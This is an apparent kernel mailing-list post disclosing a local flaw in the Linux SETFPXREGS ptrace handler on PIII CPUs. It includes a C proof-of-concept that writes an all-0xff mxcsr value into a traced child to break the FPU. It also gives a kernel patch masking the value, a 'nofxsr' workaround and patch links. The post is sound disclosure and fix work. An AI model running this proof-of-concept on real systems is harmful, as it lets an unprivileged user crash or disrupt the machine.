While auditing the PIII-4 patch for 2.2.x I found a local security problem in
SETFPXREGS that affects 2.4.0-test10 too when it's compiled for PIII
processors and run on a PIII CPU. The problem is that any user can break the
FPU by uploading into the kernel a not valid mxcsr value.
I verified with this proggy:
struct user_fxsr_struct {
unsigned short cwd;
unsigned short swd;
unsigned short twd;
unsigned short fop;
long fip;
long fcs;
long foo;
long fos;
long mxcsr;
long reserved;
long st_space[32]; /* 8*16 bytes for each FP-reg = 128 bytes */
long xmm_space[32]; /* 8*16 bytes for each XMM-reg = 128 bytes */
long padding[56];
};
main()
{
struct user_fxsr_struct fxsr;
int pid = fork();
if (pid < 0)
perror("fork"), exit(1);
else if (!pid) {
for (;;)
__asm__("fninit");
}
if (ptrace(0x10, pid, 0, 0) < 0)
perror("attach"), exit(1);
memset(&fxsr, 0xff, sizeof(struct user_fxsr_struct));
waitpid(pid, 0, 0);
if (ptrace(19, pid, 0, &fxsr))
perror("setfxsr"), exit(1);
if (ptrace(0x11, pid, 0, 17) < 0)
perror("detach"), exit(1);
}
This is the fix against 2.4.0-test10, please include.
--- 2.4.0-test10/arch/i386/kernel/i387.c Thu Nov 2 20:58:58 2000
+++ PIII/arch/i386/kernel/i387.c Thu Nov 2 18:44:36 2000
@@ -440,8 +436,25 @@
int set_fpxregs( struct task_struct *tsk, struct user_fxsr_struct *buf )
{
if ( HAVE_FXSR ) {
- __copy_from_user( &tsk->thread.i387.fxsave, (void *)buf,
- sizeof(struct user_fxsr_struct) );
+ long mxcsr;
+
+ if (__copy_from_user(&tsk->thread.i387.fxsave, (void *)buf,
+ (long) &((struct user_fxsr_struct *)
+ 0)->mxcsr))
+ return -EFAULT;
+ if (__get_user(mxcsr,
+ &((struct user_fxsr_struct *) buf)->mxcsr))
+ return -EFAULT;
+ /* bit 6 and 31-16 must be zero for security reasons */
+ mxcsr &= 0xffbf;
+ tsk->thread.i387.fxsave.mxcsr = mxcsr;
+ if (__copy_from_user(&tsk->thread.i387.fxsave.reserved,
+ &((struct user_fxsr_struct *)
+ buf)->reserved,
+ sizeof(struct user_fxsr_struct)-
+ (long) &((struct user_fxsr_struct *)
+ 0)->reserved))
+ return -EFAULT;
return 0;
} else {
return -EIO;
Downloadable also from here:
ftp://ftp.us.kernel.org/pub/linux/kernel/people/andrea/patches/v2.4/2.4.0-test10/SETFPXREGS-fix-1
Users of 2.2.18pre17aa1 running their kernel on a PIII cpu are affected as well.
Workaround is to boot with the `nofxsr' parameter (with the downside that
PIII instructions to be inibithed like in vanilla 2.2.x), real fix is to
backout the PIII-4 patch from 2.2.18pre17aa1 and apply this new one:
ftp://ftp.us.kernel.org/pub/linux/kernel/people/andrea/patches/v2.2/2.2.18pre19/PIII-5.bz2
PIII-5 also merges some worthwhile diff from Doug, thanks!
Andrea
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